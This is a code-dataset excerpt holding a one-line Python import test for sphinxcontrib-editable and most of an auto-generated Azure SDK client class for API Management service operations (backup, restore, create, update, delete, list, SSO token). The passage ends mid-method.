5d0cb42d40505d21516b5c6f3b9daa4bf4434b2c
|
[
"BSD-2-Clause"
] | 4
|
2019-10-07T02:40:02.000Z
|
2019-10-08T07:54:57.000Z
|
tests/test_editable.py
|
metatooling/sphinxcontrib-editable
|
5d0cb42d40505d21516b5c6f3b9daa4bf4434b2c
|
[
"BSD-2-Clause"
] | null | null | null |
def test_import():
"""Imports without error."""
import sphinxcontrib.editable
assert sphinxcontrib.editable
| 20.166667
| 33
| 0.719008
| 12
| 121
| 7.166667
| 0.75
| 0.488372
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.181818
| 121
| 5
| 34
| 24.2
| 0.868687
| 0.181818
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.333333
| 1
| 0.333333
| true
| 0
| 0.666667
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
7daa7858229fb5f2ae07f7ba96450df3fffda64f
| 47,756
|
py
|
Python
|
sdk/apimanagement/azure-mgmt-apimanagement/azure/mgmt/apimanagement/operations/_api_management_service_operations.py
|
iscai-msft/azure-sdk-for-python
|
83715b95c41e519d5be7f1180195e2fba136fc0f
|
[
"MIT"
] | 8
|
2021-01-13T23:44:08.000Z
|
2021-03-17T10:13:36.000Z
|
sdk/apimanagement/azure-mgmt-apimanagement/azure/mgmt/apimanagement/operations/_api_management_service_operations.py
|
iscai-msft/azure-sdk-for-python
|
83715b95c41e519d5be7f1180195e2fba136fc0f
|
[
"MIT"
] | 226
|
2019-07-24T07:57:21.000Z
|
2019-10-15T01:07:24.000Z
|
sdk/apimanagement/azure-mgmt-apimanagement/azure/mgmt/apimanagement/operations/_api_management_service_operations.py
|
iscai-msft/azure-sdk-for-python
|
83715b95c41e519d5be7f1180195e2fba136fc0f
|
[
"MIT"
] | 2
|
2021-05-23T16:46:31.000Z
|
2021-05-26T23:51:09.000Z
|
# coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
# --------------------------------------------------------------------------
import uuid
from msrest.pipeline import ClientRawResponse
from msrestazure.azure_exceptions import CloudError
from msrest.polling import LROPoller, NoPolling
from msrestazure.polling.arm_polling import ARMPolling
from .. import models
class ApiManagementServiceOperations(object):
"""ApiManagementServiceOperations operations.
You should not instantiate directly this class, but create a Client instance that will create it for you and attach it as attribute.
:param client: Client for service requests.
:param config: Configuration of service client.
:param serializer: An object model serializer.
:param deserializer: An object model deserializer.
:ivar api_version: Version of the API to be used with the client request. Constant value: "2019-12-01".
"""
models = models
def __init__(self, client, config, serializer, deserializer):
self._client = client
self._serialize = serializer
self._deserialize = deserializer
self.api_version = "2019-12-01"
self.config = config
def _restore_initial(
self, resource_group_name, service_name, parameters, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.restore.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serviceName': self._serialize.url("service_name", service_name, 'str', max_length=50, min_length=1, pattern=r'^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'ApiManagementServiceBackupRestoreParameters')
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 202]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def restore(
self, resource_group_name, service_name, parameters, custom_headers=None, raw=False, polling=True, **operation_config):
"""Restores a backup of an API Management service created using the
ApiManagementService_Backup operation on the current service. This is a
long running operation and could take several minutes to complete.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param service_name: The name of the API Management service.
:type service_name: str
:param parameters: Parameters supplied to the Restore API Management
service from backup operation.
:type parameters:
~azure.mgmt.apimanagement.models.ApiManagementServiceBackupRestoreParameters
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns
ApiManagementServiceResource or
ClientRawResponse<ApiManagementServiceResource> if raw==True
:rtype:
~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]
or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]]
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
raw_result = self._restore_initial(
resource_group_name=resource_group_name,
service_name=service_name,
parameters=parameters,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, lro_options={'final-state-via': 'location'}, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
restore.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/restore'}
def _backup_initial(
self, resource_group_name, service_name, parameters, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.backup.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serviceName': self._serialize.url("service_name", service_name, 'str', max_length=50, min_length=1, pattern=r'^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'ApiManagementServiceBackupRestoreParameters')
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 202]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def backup(
self, resource_group_name, service_name, parameters, custom_headers=None, raw=False, polling=True, **operation_config):
"""Creates a backup of the API Management service to the given Azure
Storage Account. This is long running operation and could take several
minutes to complete.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param service_name: The name of the API Management service.
:type service_name: str
:param parameters: Parameters supplied to the
ApiManagementService_Backup operation.
:type parameters:
~azure.mgmt.apimanagement.models.ApiManagementServiceBackupRestoreParameters
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns
ApiManagementServiceResource or
ClientRawResponse<ApiManagementServiceResource> if raw==True
:rtype:
~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]
or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]]
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
raw_result = self._backup_initial(
resource_group_name=resource_group_name,
service_name=service_name,
parameters=parameters,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, lro_options={'final-state-via': 'location'}, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
backup.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/backup'}
def _create_or_update_initial(
self, resource_group_name, service_name, parameters, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.create_or_update.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serviceName': self._serialize.url("service_name", service_name, 'str', max_length=50, min_length=1, pattern=r'^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'ApiManagementServiceResource')
# Construct and send request
request = self._client.put(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 201, 202]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiManagementServiceResource', response)
if response.status_code == 201:
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def create_or_update(
self, resource_group_name, service_name, parameters, custom_headers=None, raw=False, polling=True, **operation_config):
"""Creates or updates an API Management service. This is long running
operation and could take several minutes to complete.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param service_name: The name of the API Management service.
:type service_name: str
:param parameters: Parameters supplied to the CreateOrUpdate API
Management service operation.
:type parameters:
~azure.mgmt.apimanagement.models.ApiManagementServiceResource
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns
ApiManagementServiceResource or
ClientRawResponse<ApiManagementServiceResource> if raw==True
:rtype:
~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]
or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]]
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
raw_result = self._create_or_update_initial(
resource_group_name=resource_group_name,
service_name=service_name,
parameters=parameters,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
create_or_update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}'}
def _update_initial(
self, resource_group_name, service_name, parameters, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.update.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serviceName': self._serialize.url("service_name", service_name, 'str', max_length=50, min_length=1, pattern=r'^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'ApiManagementServiceUpdateParameters')
# Construct and send request
request = self._client.patch(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 202]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def update(
self, resource_group_name, service_name, parameters, custom_headers=None, raw=False, polling=True, **operation_config):
"""Updates an existing API Management service.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param service_name: The name of the API Management service.
:type service_name: str
:param parameters: Parameters supplied to the CreateOrUpdate API
Management service operation.
:type parameters:
~azure.mgmt.apimanagement.models.ApiManagementServiceUpdateParameters
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns
ApiManagementServiceResource or
ClientRawResponse<ApiManagementServiceResource> if raw==True
:rtype:
~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]
or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]]
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
raw_result = self._update_initial(
resource_group_name=resource_group_name,
service_name=service_name,
parameters=parameters,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
update.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}'}
def get(
self, resource_group_name, service_name, custom_headers=None, raw=False, **operation_config):
"""Gets an API Management service resource description.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param service_name: The name of the API Management service.
:type service_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ApiManagementServiceResource or ClientRawResponse if raw=true
:rtype: ~azure.mgmt.apimanagement.models.ApiManagementServiceResource
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
# Construct URL
url = self.get.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serviceName': self._serialize.url("service_name", service_name, 'str', max_length=50, min_length=1, pattern=r'^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}'}
def _delete_initial(
self, resource_group_name, service_name, custom_headers=None, raw=False, **operation_config):
# Construct URL
url = self.delete.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serviceName': self._serialize.url("service_name", service_name, 'str', max_length=50, min_length=1, pattern=r'^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.delete(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200, 202, 204]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 202:
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
def delete(
self, resource_group_name, service_name, custom_headers=None, raw=False, polling=True, **operation_config):
"""Deletes an existing API Management service.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param service_name: The name of the API Management service.
:type service_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: The poller return type is ClientRawResponse, the
direct response alongside the deserialized response
:param polling: True for ARMPolling, False for no polling, or a
polling object for personal polling strategy
:return: An instance of LROPoller that returns
ApiManagementServiceResource or
ClientRawResponse<ApiManagementServiceResource> if raw==True
:rtype:
~msrestazure.azure_operation.AzureOperationPoller[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]
or
~msrestazure.azure_operation.AzureOperationPoller[~msrest.pipeline.ClientRawResponse[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]]
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
raw_result = self._delete_initial(
resource_group_name=resource_group_name,
service_name=service_name,
custom_headers=custom_headers,
raw=True,
**operation_config
)
def get_long_running_output(response):
deserialized = self._deserialize('ApiManagementServiceResource', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
lro_delay = operation_config.get(
'long_running_operation_timeout',
self.config.long_running_operation_timeout)
if polling is True: polling_method = ARMPolling(lro_delay, **operation_config)
elif polling is False: polling_method = NoPolling()
else: polling_method = polling
return LROPoller(self._client, raw_result, get_long_running_output, polling_method)
delete.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}'}
def list_by_resource_group(
self, resource_group_name, custom_headers=None, raw=False, **operation_config):
"""List all API Management services within a resource group.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of ApiManagementServiceResource
:rtype:
~azure.mgmt.apimanagement.models.ApiManagementServiceResourcePaged[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
def prepare_request(next_link=None):
if not next_link:
# Construct URL
url = self.list_by_resource_group.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
return request
def internal_paging(next_link=None):
request = prepare_request(next_link)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise models.ErrorResponseException(self._deserialize, response)
return response
# Deserialize response
header_dict = None
if raw:
header_dict = {}
deserialized = models.ApiManagementServiceResourcePaged(internal_paging, self._deserialize.dependencies, header_dict)
return deserialized
list_by_resource_group.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service'}
def list(
self, custom_headers=None, raw=False, **operation_config):
"""Lists all API Management services within an Azure subscription.
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: An iterator like instance of ApiManagementServiceResource
:rtype:
~azure.mgmt.apimanagement.models.ApiManagementServiceResourcePaged[~azure.mgmt.apimanagement.models.ApiManagementServiceResource]
:raises: :class:`CloudError<msrestazure.azure_exceptions.CloudError>`
"""
def prepare_request(next_link=None):
if not next_link:
# Construct URL
url = self.list.metadata['url']
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
else:
url = next_link
query_parameters = {}
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.get(url, query_parameters, header_parameters)
return request
def internal_paging(next_link=None):
request = prepare_request(next_link)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
exp = CloudError(response)
exp.request_id = response.headers.get('x-ms-request-id')
raise exp
return response
# Deserialize response
header_dict = None
if raw:
header_dict = {}
deserialized = models.ApiManagementServiceResourcePaged(internal_paging, self._deserialize.dependencies, header_dict)
return deserialized
list.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.ApiManagement/service'}
def get_sso_token(
self, resource_group_name, service_name, custom_headers=None, raw=False, **operation_config):
"""Gets the Single-Sign-On token for the API Management Service which is
valid for 5 Minutes.
:param resource_group_name: The name of the resource group.
:type resource_group_name: str
:param service_name: The name of the API Management service.
:type service_name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ApiManagementServiceGetSsoTokenResult or ClientRawResponse if
raw=true
:rtype:
~azure.mgmt.apimanagement.models.ApiManagementServiceGetSsoTokenResult
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
# Construct URL
url = self.get_sso_token.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serviceName': self._serialize.url("service_name", service_name, 'str', max_length=50, min_length=1, pattern=r'^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiManagementServiceGetSsoTokenResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
get_sso_token.metadata = {'url': '/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.ApiManagement/service/{serviceName}/getssotoken'}
def check_name_availability(
self, name, custom_headers=None, raw=False, **operation_config):
"""Checks availability and correctness of a name for an API Management
service.
:param name: The name to check for availability.
:type name: str
:param dict custom_headers: headers that will be added to the request
:param bool raw: returns the direct response alongside the
deserialized response
:param operation_config: :ref:`Operation configuration
overrides<msrest:optionsforoperations>`.
:return: ApiManagementServiceNameAvailabilityResult or
ClientRawResponse if raw=true
:rtype:
~azure.mgmt.apimanagement.models.ApiManagementServiceNameAvailabilityResult
or ~msrest.pipeline.ClientRawResponse
:raises:
:class:`ErrorResponseException<azure.mgmt.apimanagement.models.ErrorResponseException>`
"""
parameters = models.ApiManagementServiceCheckNameAvailabilityParameters(name=name)
# Construct URL
url = self.check_name_availability.metadata['url']
path_format_arguments = {
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
header_parameters = {}
header_parameters['Accept'] = 'application/json'
header_parameters['Content-Type'] = 'application/json; charset=utf-8'
if self.config.generate_client_request_id:
header_parameters['x-ms-client-request-id'] = str(uuid.uuid1())
if custom_headers:
header_parameters.update(custom_headers)
if self.config.accept_language is not None:
header_parameters['accept-language'] = self._serialize.header("self.config.accept_language", self.config.accept_language, 'str')
# Construct body
body_content = self._serialize.body(parameters, 'ApiManagementServiceCheckNameAvailabilityParameters')
# Construct and send request
request = self._client.post(url, query_parameters, header_parameters, body_content)
response = self._client.send(request, stream=False, **operation_config)
if response.status_code not in [200]:
raise models.ErrorResponseException(self._deserialize, response)
deserialized = None
if response.status_code == 200:
deserialized = self._deserialize('ApiManagementServiceNameAvailabilityResult', response)
if raw:
client_raw_response = ClientRawResponse(deserialized, response)
return client_raw_response
return deserialized
check_name_availability.metadata = {'url': '/subscriptions/{subscriptionId}/providers/Microsoft.ApiManagement/checkNameAvailability'}
def _apply_network_configuration_updates_initial(
self, resource_group_name, service_name, location=None, custom_headers=None, raw=False, **operation_config):
parameters = None
if location is not None:
parameters = models.ApiManagementServiceApplyNetworkConfigurationParameters(location=location)
# Construct URL
url = self.apply_network_configuration_updates.metadata['url']
path_format_arguments = {
'resourceGroupName': self._serialize.url("resource_group_name", resource_group_name, 'str'),
'serviceName': self._serialize.url("service_name", service_name, 'str', max_length=50, min_length=1, pattern=r'^[a-zA-Z](?:[a-zA-Z0-9-]*[a-zA-Z0-9])?$'),
'subscriptionId': self._serialize.url("self.config.subscription_id", self.config.subscription_id, 'str')
}
url = self._client.format_url(url, **path_format_arguments)
# Construct parameters
query_parameters = {}
query_parameters['api-version'] = self._serialize.query("self.api_version", self.api_version, 'str')
# Construct headers
